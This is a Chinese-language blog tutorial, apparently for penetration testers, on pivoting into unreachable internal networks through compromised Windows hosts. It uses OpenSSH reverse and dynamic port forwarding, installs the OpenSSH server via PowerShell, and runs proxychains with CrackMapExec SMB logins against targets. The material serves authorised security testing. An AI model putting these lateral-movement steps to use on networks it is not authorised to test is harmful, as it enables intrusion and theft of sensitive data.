在家也能用的SOCKS代理:利用OpenSSH实现网络穿透

本文详细介绍了在渗透测试中如何利用Windows系统自带的OpenSSH客户端和服务端建立SOCKS代理,实现网络穿透访问目标系统,包括端口转发、密钥认证和远程安装等实用技术。

在家也能用的SOCKS代理:利用OpenSSH实现网络穿透

引言

在进行渗透测试时,我们有时会发现目标系统或数据无法从攻击系统直接访问。这种情况在寻找PCI数据等敏感信息时尤为常见。虽然可能已经控制了网络、获得了域管理员权限,但战略目标尚未完成。

通常,我们可以通过已访问的系统来中转访问目标系统。明显的解决方案就是通过这些系统进行穿透。有时这些是专用的跳板机,但同样常见的是通过域控制器、WSUS服务器、防病毒管理系统或被授予敏感系统网络访问权限的漏洞扫描器进行穿透。

使用默认OpenSSH客户端

首先设置场景:我们在Confluence中找到了目标IP,但无法直接访问。

  1. 在本地跳板机上创建账户,限制其访问权限:
1
adduser [用户名] --shell=/bin/false --no-create-home
  1. 在要穿透的系统上使用SSH的-R选项进行远程端口转发,使用-N参数不执行命令:
1
ssh [用户]@[跳板机] -R [端口] -N
  1. 在跳板机上使用netstat验证监听端口:
1
netstat -nao
  1. 确保跳板机安装了proxychains,并更新配置文件匹配所选端口。

  2. 通过proxychains运行工具访问远程主机:

1
proxychains cme smb [目标] -u [用户] -p [密码]

如果没有RDP访问权限,可以创建带home目录的用户账户,生成SSH密钥,使用Impacket的smbclient.py上传私钥到穿透系统,然后通过远程命令执行建立SSH隧道。

安装OpenSSH服务端

在某些情况下,可能无法让穿透系统回调到跳板机。这时可以通过GUI或命令行安装OpenSSH服务端:

通过GUI:设置 → 应用和功能 → 管理可选功能 → 安装OpenSSH服务端

通过命令行:

1
2
Add-WindowsCapability -Online -Name OpenSSH.Server
Start-Service sshd

安装后启动服务,使用-D标志和指定端口进行SSH连接,SSH将作为SOCKS服务器:

1
ssh [用户]@[穿透系统] -D [端口]

然后通过proxychains访问目标系统:

1
proxychains cme smb [目标] -u [用户] -p [密码]

结论

通过Windows OpenSSH功能,无需复杂工具即可实现网络穿透,方法简单有效。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计